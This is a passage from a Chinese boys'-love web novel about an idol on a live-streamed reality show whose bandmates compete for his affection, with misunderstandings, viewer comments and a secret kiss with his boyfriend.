三角蛋糕裹着红色的半透明奶油,甜滋滋的,侵入舌尖。郑宥没追问,枣芩又多吃了两口,甜食让他心情好起来不少。 品类有好几样,枣芩视线又落到旁边的饼干上,造型有点奇怪,之前没有见过。 他的手还没洗,立马小跑去厨房洗手,回来就拿起一个曲奇咬了口,顿时皱起眉,不可能放回去,放在了不远处空置的盘子里。 “不好吃?”郑宥挑眉问。 枣芩摇摇头,拿起一个新的递到他嘴边,图穷匕见,“好吃啊,好吃到舍不得吃,你尝尝!” 郑宥盯他,就着他的手咬了一口,咽下去,忽然伸手去挠他肚子。 枣芩手疾眼快,立马躲闪,没躲过去郑宥的攻击,被弄得忍不住笑,小声叫了声,“啊!” 两人打打闹闹的场景在别人看来,多少有些刺眼。 两人都没注意到,空着的位置坐下个人。 他们闹腾完,察觉到的时候,邵京迟手肘抵在桌子上,面无表情又冷淡,手指已经拿起了他咬过一口的曲奇,覆盖着他咬过的位置,咬了口。 第59章 第 59 章 谁偷了内裤? …… 【不是, 哥们】 【你丫的不是洁癖吗?】 邵京迟就那么把那块又咸又苦的饼干吃完,没有因为这味道有半点意外,脸上毫无波澜, 像是喝了口白水。 那毕竟是自己吃过的, 又联想到郑宥说他龟毛又洁癖, 枣芩顿住。刚刚枣芩被郑宥弄得笑不停, 此时还没缓过劲,胸口微微起伏。 他举了下手, 弱弱出声:“那个, 是我吃过的……” 邵京迟朝着他抬起眼,又落在面前的空盘子, 波澜不惊说:“没注意到。” 由于他知道自己吃到了枣芩咬过的东西,也并没有变得不好看。 枣芩觉得他也没有郑宥说的那么龟毛、洁癖。 他回想着刚刚自己尝过的苦涩味道,此时舌尖还仿佛残留着。邵京迟居然吃完了,他没忍住问:“好吃吗?” 邵京迟没有做造型的细碎黑发下, 冷峻眉头轻皱一下,随后点点头, 回答:“挺好吃的。” “哇……”枣芩真没有想到他的口味是这样的。 两人的相处,对于郑宥来说跟吃鱼刺吃进眼睛里了,他的感情都比较外露,喜欢一个人忍不住, 烦一个人也忍不住。 他草木皆兵盯着邵京迟, 警惕又直白。转头凑到枣芩耳边,低声挑拨,“这人就是很古怪,跟正常人不一样。” 枣芩小脸皱了下,余光瞥见邵京迟的表情并没变化, 还又拿了一块新的吃,更为惊讶。 他微微侧头,没察觉他们几乎贴着对方,在宽阔客厅里,有多显眼。 枣芩小声问:“你们关系不是挺好的吗?” 郑宥因为他的靠近呼吸变慢,听到这话,睁大眼睛,“谁说的?” 并没有人说,是枣芩自己看到的,“你们两个经常一起走啊。” 郑宥:“谁说的?” 枣芩被他的表情都搞得怀疑自己了,“就那天啊,节目开拍的前两天,你们两个都是一起回来的,你不记得了吗?” 枣芩:“……那天我们还撞在了一起。” 郑宥都没怎么回想,那天对他来说不需要回想。 他语速很快的解释,有点嫌弃,“那天是我们刚好在楼下碰到,一起上了电梯,谁跟他关系好?” 郑宥盯着他的嘴唇,又挪开,“我明明跟你关系好,嗯?” 枣芩抿了下唇,眼睛转向别处,不置可否。 郑宥瞬间被点燃,一手箍住枣芩两只手腕,放在胸口,恼火地低头抵在枣芩肩膀上,金毛蹭着枣芩的脸颊,又要伸手去挠枣芩的腰。 “知道了,知道了,你再这样我也要动手了!”枣芩急的脸红,挣脱自己的手,去推他又平又宽的肩膀。 两个人都被搞得凌乱,偏偏还挨着坐在一起。 一直没怎么说话、存在感不高的戚泽忽然戏谑调侃了句,“你们关系真好,看着——” 他喝着咖啡,慢悠悠说:“跟一对似的。”!郑宥若无其事打量着他,见他还算诚恳,也没什么酸不拉几的味道,才收回了视线。 戚泽审美有待考量,眼光倒是优越。 他们确实是一对,这都被他看出来了。 枣芩丢东西了。 他问过郑宥了,郑宥帮他洗衣服的时候,只拿走了脏衣篓里的东西,卧室其余的地方都没多看。 枣芩醒来走的时候,匆匆忙忙换下内裤和袜子,都是穿过的,也没来得及放进脏衣篓,就出门了。 准备想办法洗一洗,根本找不到踪迹。 他也厚着脸皮说了是什么样的,是不是郑宥一起带走了,郑宥脸上跟火烧似的,保证自己绝对没有偷拿。 但枣芩不可能记错啊。 他翻箱倒柜,床底下都看过,疲惫坐在地毯上,已经放弃了。丢了就丢了。 戚泽是在这时候说话的,枣芩门没关严实,他推门进来一会了。 居高临下看着枣芩忙活,翘着屁股在床底下东张西望,又在柜子里翻来翻去,最后曲着膝盖,失望坐在地毯上。 他双臂环胸,眼中划过暗色,突兀笑了声,“找什么东西呢?要不要问问邵京迟。” 枣芩抬起脑袋,被他吓了一跳,但毕竟潜意识知道屋子里还有三个人。更多的注意力放在了他话里。 “啊,问他干什么?”他表情懵懵,半张着唇。 戚泽面不改色,“我今天看到他进你房间了,你丢什么东西了?要不我帮你把他叫过来。” 虽然经鬼屋后,枣芩知道邵京迟并不是他表面那么冷淡,但他哪里像是会在自己离开后,会偷偷进自己房间偷内裤袜子的人。 比起这,宁说他袜子自己跑丢了,他都相信了。 枣芩没说内裤,慢吞吞说:“就袜子嘛,应该、”不是。 话都没说完,戚泽点了下头,已经丢下一句“我去给你叫过来。”就散漫走出去了。 “别啊……”枣芩说出来的时候已经晚了。 叫过来他怎么说啊??? 卧室内的空气似乎冷了几度,邵京迟站在门口的位置,静静凝视着他,瞳孔像是冷夜的黑,带着侵蚀的低温度。 “你找我有事?” 枣芩张张嘴巴,睫毛尴尬颤着,坐在地上摇了下头,后背都出汗了,“没事啊,你出去吧。” 他只想让他快点离开吧,别让事情真的发展成一场闹剧。 邵京迟却并不满意,走近枣芩几步,没什么情绪,“戚泽说,你怀疑我偷了你穿过的袜子,所以叫我过来。”!!! 没有啊,怎么瞎说! 枣芩着急忙慌的摇头,瞳孔地震,踉跄了下才站起来,孤零零站在那里,“我没有,是他说、说叫我问你,我没有怀疑你。” 明明最开始被怀疑的是邵京迟,他此刻却有种天大的,被冤枉的感觉。 整个人慌乱的快哭了。 邵京迟唇线抿着生硬,喉咙发涩。 枣芩又对着他露出了这种可怜表情,让他想要去安慰他,接近他。然后就会发现,枣芩根本不把他当回事,因为有很多人会像自己一样靠近他, 他琢磨不透枣芩的想法,为什么这样,在鬼屋里摸他的手、亲昵的依靠他,让他产生他们出去后也会变得不一样的错觉,又一边疏远忽视,和别人贴近。 仿佛一场梦,短暂光临一下,醒来就消散到没有踪迹,只有网络上的视频,证明这一切不是他的假想。 现在又突然把他叫他到房间,还用这种荒谬的理由,跪坐在地上,领口大敞,湿润润的巴巴望着他。 邵京迟:“你想怎么样?” 枣芩还在否认,整张脸泛着红,“我没想怎么样!你不要误会,是他说看到你进了我的房间。” 说着,急着想让邵京迟相信他,伸手要触摸到对方身上。 邵京迟陡然后退,呼吸错乱了片刻,“没事我就走了。” 都不给枣芩多余解释的机会,邵京迟就关门,逃似的走人了。 把枣芩一个人留在卧室。 天大的脏水泼头上了,他明明就没有过那种想法。 枣芩咽不下这口气,立马跑去用力敲戚泽的门。都怪他。 门开了条缝,里面光线黯淡昏黄。 门敞开,出现戚泽笑着的脸,眼尾狭长上挑,“怎么样,找到了吗?” 也不管对面的枣芩板着小脸,没好气瞪他。 他拉开门,让枣芩进去。枣芩也没什么讲礼貌的想法,直接坐在他床上,开始发脾气, “你叫他就算了,凭什么说是我怀疑呀?他现在觉得是我冤枉他偷我袜子!我明明都没有这么想过,都是你,你突然出现。就去叫他了,根本都不停我说话。” 枣芩有点难过,“我才是最冤枉的那个人,还丢了东西。” 他说完侧过头,戚泽房间东西不多,只有台装备不错的电脑,床头柜都没有。还有个不明亮的落地灯,倒是挺有氛围感。 戚泽思索片刻,按了下手指指骨,“那怎么办呢,我去说一下?” “嗯!你快去。” 枣芩起身来到他面前,胸口一下一下起伏,距离近的能让对面的人看到他分明的睫毛,闻到他身体温软的气息。 枣芩看他不动,伸手推他,“你现在就去,我等着你,你一定要解释清楚啊。” 戚泽感受到碰到自己胸口的手,禁不住笑,“好好好。” 人走了,枣芩的心跳都平息不下去,无力坐在床边,缓和自己的情绪。 后知后觉发现,戚泽的屋内有股怪味,他曾经闻到过,让他忍不住不太舒服。 枣芩扭头视线落在他电脑上,歪头看着,打量起来。 电脑主机是开着的,还亮着灯。好像只是关了屏幕,他莫名觉得,对方在他进来之前,不会是在看什么东西吧。 他越想越觉得是这样的。 不然,怎么会有这种……味道。 枣芩脸颊热了热,腿并紧,不想过多探究别人的事情。 不过戚泽还没回来,他完全有时间看一眼就关掉,他知道怎么关屏幕。 他不是多么想看,就是很好奇,心里也希望对方按了暂停键,不是关掉了声音。 他悄咪咪靠近两步,越靠近,气味似乎越浓重。 他抬起手,手指在黑色键盘上落下的前一秒,门把手响起被拧动的声音。 枣芩心要跳出来了,瞬间弹回床上坐好,仰起脸睁大眼睛,背后刷刷冒冷汗,哑声:“这么快。” 戚泽漫不经心关上门,将外面明亮的光线阻挡,密不透风的空间将两人的气息困在其中。 戚泽坐在他身旁,看了眼键盘,问枣芩:“你刚刚想看我的电脑?” 逆着光,他的脸不甚明晰轮廓模糊,语气冷静。 枣芩蓦然有点发怵,“随便看看,我没碰。” “你想看也可以。”戚泽起身,坐在电脑椅上,高大身体似乎有些坐不开,他招手让枣芩过去。 电脑屏幕的光映照在他脸上,枣芩看到戚泽的电脑上是前两天的直播,正播到枣芩房间的片段。 便形成了枣芩在戚泽房间里,看不知道自己什么时候在自己房间的视频,屏幕的自己,正坐在床上看手机。 戚泽松开鼠标说:“就看看评论。” 枣芩凑过去一点,“……就这个啊。” “不然呢,你以为我在看什么?” 戚泽关上电脑,忽然伸手捏住枣芩的脸,盯着他因为挤压而鼓起的嘴唇肉,视线上挪,松开了手,“你不问邵京迟有没有原谅你吗?” “原谅了?”枣芩听这个话像是原谅了的意思。 戚泽笑得时候看起来不像什么好人,他摇头:“没有,我说完他好像更不开心了,把门关了。” 枣芩:…… “你怎么解释的?” 戚泽摊手:“我就说,你让我告诉他,你没觉得是他偷的,是我导致的误会一场。不过还是你亲自有诚意的道歉比较好,对吗?” 你有什么用? 枣芩浑浑噩噩回到自己的房间,瘫在床上,忽然想到了什么,出去客厅找到了甜点的外包装,确定了是什么店铺。 在手机上找到了那家店,终于知道了为什么会有这种味道的饼干,原来是无糖的。 怪不得难吃。 店铺已经关门,枣芩点了份,定在明天早饭前的时间。 他睡得早,第二天早上起来等在门口,拆了包装就去敲邵京迟的门。 还是得他自己干,别人都不靠谱。 他怀疑邵京迟知道是他,明明就醒了,早上还出来过一趟。 可门都不开,枣芩怀里抱着饼干,靠在旁边的墙上,慢慢悠悠但又不停敲门。 直到脚步声响起,枣芩直起身子。 邵京迟一开门,他就立马把怀里的饼干递上去,表情还因为自己的选择有点小得意。 邵京迟没接,只看了眼,盯着他不说话,似乎在等他说什么。 枣芩自己也被误会,还要给他道歉,下意识就露出了委屈表情,伸手摸上邵京迟的衣角,“我是来道歉的。” 他拽了拽,“我真没那么觉得,是误会,但我不解释了,我给你买了饼干。” 邵京迟表情依旧没什么变化,枣芩硬着头皮去抓他的手,就像在鬼屋那天,企图唤醒这可恶的人一点良知。 皮肤相触的瞬间,邵京迟收回手,关上门,把枣芩拒之门外。 枣芩垂眼看着手中的盒子,来到垃圾桶边,站了会,最终还是转身放在了桌子上,就回自己房间了。 邵京迟靠在门上,闭了闭眼。 听着枣芩的脚步声在他关门后离去,抬起手淡淡看着被他触碰过的地方,似乎残留着他的温度。 枣芩愿意靠近他,是因为还不知道那件事,枣芩要是知道了,肯定不会想跟他发展什么关系,更不会触碰他的手,说不定还会用怜悯的眼神看他。 嘴上说着没什么,但面对他和别人的时候,还是会选择别人。 谁会愿意和一个永远没办法性生活的人,相爱呢? 枣芩愿意吗? 第60章 第 60 章 舒服又快乐 ——他们两个怎么了, 两天没直播发生了什么事情? ——为什么把我老婆关在外面? ——芩芩好,邵狗坏,芩芩还特地买了小饼干给他吃, 上门找他TvT 客厅的摄像头早开了, 卧室的还没开, 导演昨晚就已经通知过, 今天早上也从隔壁来过一趟。 枣芩不太乐意的拿开上面盖着的衣服,一张无可指摘的脸出现在镜头里, 注视着镜头。 他并不知道评论滚动的速度有多可怕, 也不知道有人拿着他丢失的物件,眼睛发直, 手指攥得布料更紧了。 一大早,枣芩的心情就被搞得很不好,都怪邵京迟,也怪戚泽。 枣芩明明就很无辜, 因为这两个人,他莫名其妙卷入一场看不见的风波, 莫名其妙轮到他上门道歉。 尤其是邵京迟,虽然之前不太爱说话,但起码也不会像现在一样,被他碰到像是被脏东西粘上, 看着他就皱眉, 视线对上都要挪开。 真的很搞笑,他也不是很想理他。 上次录制的时候,枣芩和邵京迟输了,这次录制期间就要他们负责三餐。 但三人都心照不宣,没人觉得这事落在了枣芩头上, 邵京迟很自然的负责起来。 于是,今天他们桌子上面,全是清脆有机的绿。 郑宥坐在椅子上,扭头正大光明的朝着枣芩的房间张望,一直不见人出来,看起来下一秒就要站起来去敲门了。 桌面餐盘旁边,郑宥的手机蓦然亮了下。 不止一道视线关注着它。 手机的主人手指抓起手机,郑宥一看,唇角勾起满意的弧度。 手机上是枣芩发来的消息,备注是有点做作的——芩芩宝宝,后面还跟着四叶草的图案。 【早餐到了?】 【帮我拿进来一下吗?】 他眉飞色舞短暂回了个【ok】,他左手负重前行,垫了个手机,上面还端了一个餐盘,右手也不闲的,端着另一个餐盘。 转身朝着枣芩的房间过去,手肘在门上撞了下。 紧闭的房门很快开了条缝,枣芩白净的脸一闪而过,门再次被关上,把剩余两人阻隔在外。 客厅内寂静一片。没片刻,戚泽就吃完,端盘子放进厨房洗碗机,也起身回了自己房间。 人都没了,邵京迟才缓缓抬眼,盯着枣芩的房门,好像要看出一个洞,得以知道两人在做什么。 自己心里也清楚,枣芩缩在房间不出来的原因,肯定是生他气了。 握着叉子的指节有些泛白。对方都不需要有什么作为,他的思绪就能被搅得一片混乱,喧闹着——再给自己一次机会吧。 枣芩和郑宥面对面坐在卧室的地毯上,枣芩穿件白色打底,边缘勾勒着浅绿色的V领毛衣。 他表情幽怨,膝盖曲起,一只手扶着餐盘搁在上面,里面全是绿色植物,却显得他格外鲜活。 他腮帮子鼓鼓,恶狠狠咬着生菜,他边嚼,边嘀嘀咕咕,“你说,邵京迟是不是故意报复我呢。” 郑宥饭也不吃,放在一旁,靠在床边专注盯着枣芩看。 枣芩嚼嚼嚼,“才搞了这种早餐。” 郑宥没忍住手指关节去碰了碰他的脸颊,皮肤微凉,枣芩因为他的动作,眼睛闪着困惑。 “今天桌子上的那袋饼干是你买的?”郑宥问。他知道枣芩不喜欢吃这个饼干,喜欢的另有其人。 “对啊。”枣芩咽下去干巴巴的菜叶子,表情越发愤恨,他握着叉子,可配上他那张没什么攻击性脸,只让郑宥觉得可爱。 “就是昨天晚上那个事情嘛。”枣芩刚准备开口,余光瞥见摄像头及时收住,朝前挪了挪,凑到郑宥耳边。 枣芩气息轻飘飘的小声埋怨,把事情复述了遍,放下餐盘,也没有什么想吃的欲望了。 郑宥从他脸上看不出一点留恋,心下有什么东西松快,他凸起的喉结滑了下,也朝前凑到枣芩耳边,视线在他敞开的领子游走片刻,两个人说悄悄话。 “宝宝,我说的没错吧,他本来就不是什么好人,能因为这种小事跟你生气,以后真保不准。还好你及时反应过来。” “你说得对。”枣芩点点头,凑过去低声:“我真的不想理他了,把我弄得烦。” 枣芩说出来后,后知后觉抿住唇。不对啊,他是不是ooc了。 枣芩绷着脸,连忙问系统:【我ooc了吗?我要不要收回一下。】 系统也不懂他要怎么收回,说:【没有。】 枣芩错愕:【?这都没有ooc呀,我能骂人吗?】 【不可以,你不会在摄像机下面骂人。】系统说:【没ooc是因为,还是在麦,只是麦的不是甜口,比较酸涩。】 枣芩缓了两秒,【我难道是天才。】 系统:【……】 麦麸天才,你好。 ——昨晚没让那个是吗,所以邵狗装起来了 ——不用看就知道是关于什么事,我大胆假设,昨晚除了没亲他,都亲了。所以他生气了,然后芩芩来道歉,他太装,芩芩又生气了 ——该死的有道理 ——很合理,接下来我也要生气了,因为也没亲我 这种僵持的气氛,一直持续到准备今天的外景拍摄期间都没好,枣芩坐在戚泽和郑宥中间,看都不看单人沙发的邵京迟,谁都看得出他们有事。 节目组很民主,对于分组还让他们自己投票来决定,也不抽签了。 还是他们自己挑,来的更有戏剧性。 四个人一共能有六个分组,每个人一次投票权,可以选择投别人。轮流过去另一边投。 邵京迟是一番,率先过去投。 摄像头在对着他们拍,郑宥比枣芩大一圈的身体朝着他微微倾斜,腿撞了下枣芩的腿。枣芩歪着头,等他说话。 郑宥手撑在后脑勺朝他那边靠,“你投咱俩呗。” 枣芩小脸故作拧巴,想了想,“我考虑考虑。” “肯定让你舒服又开心,别考虑了。”郑宥说话时,邵京迟刚好回来,也不知道什么字眼刺激到了他,面上无波,脚步微顿,又加快。 枣芩觉得分组没什么呀,也是在一个场地,好像没那么重要,分不同的组也肯定能看到。 问到想选谁时,除了郑宥说想和枣芩,都说不知道,没有很想选的。 结果出来的时候,郑宥没忍住侧头冷笑一声,另外两个人如出一辙的投他们自己和枣芩。 装你爹呢。 就剩枣芩的投票结果没公布,节目组故作神秘,郑宥不敢确定他会不会转头去投邵京迟。他问枣芩,他也抿着嘴巴不说话。 但空气中僵硬的浓度,显然不只来自一个人。 现在的场面就是,另外三个都想和枣芩,枣芩选择了谁,就会和谁组队。 导演慢悠悠,“枣芩投票是,是谁呢?哪位队友是枣芩最想选择的呢?又或者说,是枣芩最喜欢的队友呢?” 枣芩怀疑对方以前是搞颁奖的。 “枣芩纸条上面写的是,枣芩和……郑宥。” 话音落下。 枣芩的腰猝不及防被抱住,一只大手箍了一半的腰,上面青筋分明,按着不算厚也不长的白毛衣,把枣芩往他那边搂。 毛衣被带着往上走,下一秒仿佛就要漏出腰,一只瘦长的手探出过,往下扯了扯,是一旁看着的戚泽。 郑宥的头又埋在枣芩脖颈处,跟个大狗一样又蹭又闻,场面激动的像是求婚现场,对象答应他了。 他张着嘴笑,热气往枣芩脆弱脖颈上呼,他说:“芩芩,我很开心。” 枣芩躲闪不开,睫毛抖着,忍着痒推他。有什么开心的,难道他猜不到吗?除了他没有一个是枣芩想选的。 枣芩并不开心,语气带了点不悦对他说:“不要弄我了。” 怪异的用词让淫者见淫的郑宥力道更大了些,他心里躁动的厉害,呼吸也跟着粗重。再加上不知道被多少人看着,不仅没有被压制,那种冲动反而被扩大。 唇不知道是有意还是无意,在枣芩脖颈上贴了下,才慢吞吞松开他。 ——额啊,好队友亲两口,也没关系? ——你小子绝对是故意的,不许亲呜呜呜 ——现在的男团……都这样了吗。你干脆。表演上床好了…… ——进来吓一跳,心里黄黄的 对面那两人什么想法,郑宥不知道,他只知道,勇敢的人先享受世界。他爽到了。 他不觉得其他两个比起他,有什么竞争力。 拍摄地点在商场,需要他们两组各拍摄一个东西的局部图,然后分别找对方拍了什么,拍下完整的图。率先猜对的可以向另一方,提一个不过分的要求。 枣芩没换衣服,就穿着那件毛衣,外面套了件白色羽绒服,又戴了口罩帽子。 进了商场,他就因为热,把拉链拉下来了。 虽然没有红到顶流的地步,但节目直播的期间,网上知名度确确实实扩了一大圈,这次拍摄还有保安保护。 枣芩甚至还能听到人群中,好些人在喊他的名字,他在原地愣愣站了会,朝着那边挥手,心里有些开心。 到了二楼就没什么人了,在的都是节目组找来的群众演员。 关磊站在不远处,挑着眉,举起手机对着被拍摄的四人拍了张照,发了朋友圈。 【猜猜看到了谁?】 都是同一个圈子的,立马就有人说出了关磊想听到的。 【我去,邵家那个?好丢脸】 【家里那种底子,去当一个戏子,真搞不懂,闲得慌】 【粉丝还挺多,他们团里有个特好看的,看的我都想联系一下】 关磊兴致勃勃看着,不知道说的是哪个,都遮着看不到。他调侃,【我看你是想包吧,恶心心。】 随便回复了两个,他正准备转身走人,跟朋友去吃饭。 猝不及防就接到齐封打来的电话,关磊手机差点没掉地上,主要是没想到齐封会给他打电话。 一接电话,关磊还什么都没来得及说。齐封率先忙不迭开口问:“在哪儿?” 关磊:“?你要来找我?” 齐封:“朋友圈照片,在哪个商场。” 关磊说完名字,齐封说了句谢了,就匆匆挂掉了电话。 关磊拧眉,没懂。他拉住朋友,打算再看看什么情况。 齐封平时很少看朋友圈的人,今天枣芩敷衍他一句就不回消息了,他在聊天软件乱翻,等枣芩说话,鬼使神差就打开了朋友圈。 关磊发的朋友圈里,评论区注意力都在同一个圈子的邵京迟,只有他一眼看到了白衣服遮的严严实实,裹得像个小面包,的他对象。 但是。 他的腰后,有只手臂圈着! 两个人挨在一起,倒更像情侣,他这个正牌男友,倒显得像个笑话。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第 61 章 让那男的离你远点【增一…… 为了不让另外一组偷看到, 郑宥和枣芩直接坐电梯上了顶层,又走楼梯下到二层。 这种偷偷摸摸,又没有真正危险的感觉, 让枣芩激动又亢奋, 眼睛睁的大大的, 手心因为被紧握而微微湿润。 地板这种到处可以看到的东西不能拍, 只能拍一些比较独特的东西。 郑宥肯定是听枣芩的,他无所谓什么游戏的输赢, 不如让他抱着在枣芩脸上亲一口来的开心。 但枣芩唇瓣抿着, 表情认真,倒挺在意。他也不知道选什么, 只能一路上到处看,有什么东西具有特点又不特别,不会被认出来。 枣芩感觉自己头顶上闪过小灯泡,他灵光一闪, 满脸掩盖不住的激动,牵着郑宥的手到没人的小角落。 小声说:“我想到一个, 他们想不到的。” 郑宥被他牵着手,心情很好的顺着他问:“什么呢?” 枣芩雪白脸蛋扬了下,原本拉上去的衣服拉链,再度被他拉下来, 清瘦的锁骨出现在眼前。 郑宥挑眉, 一时错愕。枣芩食指指向自己胸口,“想到了吗?” …… 郑宥看着枣芩的胸口,根本控住不住自己混乱的想法,张了张嘴没说出话来。 “拍我呀。或者拍你也行。他们肯定想不到我们会这么聪明,居然拍的不是商场里原本有的东西, 我们站在他们面前他们都猜不出来!” 枣芩因为自己的天才想法很开心,拉着他的手晃,郑宥都没怎么听进去,枣芩的细微的小表情,在他眼里好像加了一层慢镜头。 叽叽咕咕的话从耳朵里进去了,郑宥愣是一句没听懂,“好厉害,你是怎么想到的。” 枣芩叫郑宥举着手机在他身上找位置拍,自己脱了外套,白白瘦瘦就站在那里。 他也没想到郑宥直接对着他的脸就拍。 枣芩叹了口气,无奈道:“你拍我的脸肯定一下就认出来了呀,你拍点别的地方。” 他揪起自己的毛衣,“你可以拍我的衣服,到时候我把外套拉链拉上,他们肯定想不起来。” 郑宥的手机发出声响,他看了眼,“导演说必须得拍的明显一点。” 最后是拍了枣芩的背,把绿色的边缘也拍进去了,导演看了一下说可以,挺明显的。 把枣芩弄不开心了,这哪里明显了,明明就一点都不明显。 两组的照片做了交换,那边的照片是一片蓝色的东西,上面似乎有波纹。看起来像是什么水里。 枣芩感觉自己很轻松就能找到,商场能有多少有水的地方。 手机在手里震动,发出收到消息的提示音,枣芩手里拿着郑宥“打劫”来的雪糕,走在寻找的路上。以为是节目组发来的,随意地看了一眼。 【让那男的离你远点,卫生间等我。】 枣芩是确确实实懵了秒,没反应过来,看到备注的名字,吃着雪糕的动作停住,侧过头动作隐晦的搜索人,只一眼就看到了目标人物。 围观人群中,有个身型高大、鹤立鸡群的黑衣男人,有不少人在看他。 他没戴口罩只戴着帽子,一张死气沉沉的脸盯着枣芩。 枣芩对上之后,赶忙挪开视线。 齐封怎么来了? 趁着郑宥不注意,枣芩又偷偷看了一眼齐封,表情困惑,想问他来干什么。 齐封手中举着手机,眼神示意,让他看手机。 枣芩偷偷摸摸看了眼。 对方发来了四个大字,【去卫生间。】 枣芩细白手指飞快打字,【不行啊,我还在录节目,你没看见有摄像机吗。】 对方根本不讲理,直接来了句,【不然我现在冲上去亲你。】 简直有病。 枣芩被这句话吓了一跳,也没被亲,就已经紧紧闭上嘴巴,【不可以!你再这样我要生气了!】 齐封:【你每天都对我生气,我已经习惯了。】 齐封:【就说两句话也不行吗?你跟他真亲密,他是你的银幕男友?】 齐封:【我是秘密情人吗?】 齐封:【别让他摸你!】 信息轰炸让枣芩睫毛颤一下,躲开即将触碰到他肩膀的手,轻轻呼吸,按灭了手机。 郑宥浑然不觉问:“看什么呢?” “就、看他们那个照片。”枣芩也不心虚的撒谎。没过一会,转头就看不见齐封的身影了,应该是去卫生间等他了。 枣芩心虚得不行,也怕齐封真的冲出来。他心已经不在找东西上了,不时朝着卫生间的方向看。 找着找着,若无其事随口一说般,佯装烦闷的说:“两个人一起效率好低呀。” 随后就图穷匕见,要转身离开,“我去另一边找哦。” 郑宥下意识就跟上他,他皱着眉转身,认真说:“我们分开找胜率更大,我不想输,你找到了再来找我,我找到了也来找你。” 枣芩不想让他一起的意思很明显,郑宥不得不停下,看着他小跑着离开,表情变了变。 进卫生间,摄像师傅不能跟着,枣芩进去后就松了口气,背靠在门上身子发软。卫生间内空无一人,好像是商场被节目组包了,也不知道齐封能不能上来。 枣芩打算等齐封进来跟他算账,这人怎么这么多事,真想快点让他给自己打扫一次卫生,完成任务就分手。 枣芩没听见声音,门被猝不及防打开,站在门后面的枣芩借机发脾气,走了两步面对他,“你是乌龟吗?又慢又安静。” 可出现在面前的却不是该出现的齐封。 邵京迟凝黑眉眼,冷淡中带着几分微不可察的错愕。 枣芩一愣,后退半步。齐封还没来,跟他刚有龃龉的邵京迟率先来了。 他都能想象到齐封来了之后,三个人的场面。 要是被邵京迟知道他拍摄期间偷偷和男朋友幽会,邵京迟岂不是逮住他的把柄了。 枣芩浅粉色的嘴唇被咬的发白,他立马就想走,一条手臂横在身前,挡住他的去路。 邵京迟单手把门按住,宽阔身体挡住枣芩身前,唇瓣偏薄显得他长相疏离,他也不说话,就垂眼看枣芩,把枣芩看得都有些怵。 枣芩声音不大,“你干嘛?” 眼前浅色一晃,枣芩肩膀瑟缩,睫毛抖着,一条温暖的围巾被围在他脖子上。 邵京迟的手应该离开之际,却停下,隔着围巾布料捧住枣芩的脸。 枣芩不明所以,看了下浅黄色的围巾,以及对方没什么表情的脸,“……什么意思呀?” 邵京迟终于开口说:“你今天生气了。” 枣芩没否认,他确实有点生气,邵京迟现在买了个围巾给他圈上是什么意思。 枣芩一张小脸抬着,脸边一圈浅黄色围巾,衬得本就很嫩的脸更嫩,他犹豫了下,“你是,想跟我和好的意思吗?” 邵京迟迟疑片刻,点头。 主动来找他求和了。 枣芩感觉自己还是挺大度的,今天早上还气得想再也不理他,邵京迟主动来找他,给他带礼物。枣芩心里就悄悄不生气了。 邵京迟喉结往下压了压,嗓音暗哑,“今天可以和你提一个要求,我已经想好了。” 枣芩:?? “什么要求?” 他什么时候说要答应邵京迟一个要求了。 邵京迟避开了枣芩的视线,“我今天晚上、能去你房间吗?或者你来我房间。有话和你说。” 枣芩:“不是……我的意思不是你什么要求,是我什么时候说、” 邵京迟解释说:“我已经找到了,你拍的东西。” 枣芩张了张唇,动作很慢咬住自己的下唇,盯着男人的脸,摇头,“我不信。” 肯定在诓他。 透着不算厚重的门,一阵略有些急促的脚步声响起,被邵京迟捕捉到,他眉心轻皱。 几乎是搂抱着,把没听见的枣芩往厕所隔间走,一直到最后一个隔间,推门进去。他自后面抱着枣芩,锁上门,轻声说:“嘘,有人来了。” 枣芩抿住唇,一下知道了来人是谁。 他的手伸进口袋里,摸索着拨动了静音键,关掉了声音。 外面的门被开了,有人走进卫生间,脚步声听起来不太平静。 邵京迟因为关门,而俯身圈着他的手臂没收回去,狭小逼仄的空间内,一高一低的身影相贴。 哪怕并没有碰到枣芩的身体,仅仅只是隔着衣服抱着他,邵京迟都感受到了一种,从心底深处升起的、几乎颠覆一切的满足感。 给自己一次机会是对的,他应该对自己宽容一点,起码让枣芩知道,让枣芩选择,而不是自己给自己判死刑。 呼吸不由得粗重起来,他手臂又紧了紧。枣芩不解的想回头看他,被他阻止,在耳边轻轻说了声:“小心被别人发现。” 枣芩立马抿住唇,有点紧张。 腹部似乎有热潮涌过,却没有任何反应,丁点都没有。邵京迟眼底黑沉沉的翻涌,鼻尖埋在围巾里,闭了闭眼。 外面的人一直不走,他想天荒地老的抱下去,更极端点,死在这一刻。可不久,外面那人似乎没等到自己想等的,发出不耐烦的声音,就推门离开了。 枣芩手指攥着,都不敢想自己手机里收到了多少条信息。 “他走了,我们出去吧。”枣芩嗓音随着呼吸颤颤,挣脱他的桎梏,自己推门出去,把邵京迟留在后面。 一直到出去,枣芩才有时间看齐封的消息,几十条信息。 全都是问他怎么不回消息,怎么不来,人在哪。 枣芩鼻尖皱起,烦闷不已,只能回了句,【你先去找个地方等我,我录完去找你,别发了。】 出乎意料的是枣芩和郑宥赢了,因为另外两个根本没机会扒下枣芩的外套拍照,而他们的拍摄物品也很简单,就是一张海报中的湖面,是戚泽拍的。 郑宥硬是找到了,找到之后立马就去找枣芩。 一通下来天色渐晚,枣芩瞅准时机,独自去和导演组说自己有事要去买东西,会自己回去不用他们等。 就戴上帽子口罩,偷偷到了商场的地下室里。 他刚出电梯门,一辆张扬的红色豪车就打了灯,枣芩被刺得眯了眯眼,别过脸躲。 手机上收到条语音,语气不怎么好,“红车是我,上后座。” 枣芩把手机慢吞吞塞回口袋里,眼睛有点不舒服,心里弥漫着有点委屈的感觉。 他拉开车后门,身体才进到一半,手臂就被人猛地一拉,车门用力关上。 枣芩脑袋一片空白坐在齐封的大腿上,被人桎着下巴,一个强势又带着恼意的吻落下来。 这是他们两个第一次接吻,齐封拧着眉,张嘴亲上枣芩的唇,没有什么章法,纯粹是本能。 一点点含上唇珠,吸吮舔咬,勾着舌尖,舔着他嘴里的软肉,让他出水。 齐封心口都在发痒,让他喘不过气。 枣芩也不反抗,就张着嘴,那么乖乖的让他亲。 他的手也没闲着,去扒枣芩的外套,厚重的羽绒服太碍事了,很快被他成功扒下丢在旁边。 脱去外套的枣芩就穿件毛衣,手臂一圈就整个圈住了,坐在他腿上都没什么重量。 他也是第一次体会到这种感受,亲嘴能从头爽到脚。 喉结滑动,他不停吞咽着枣芩的口水。 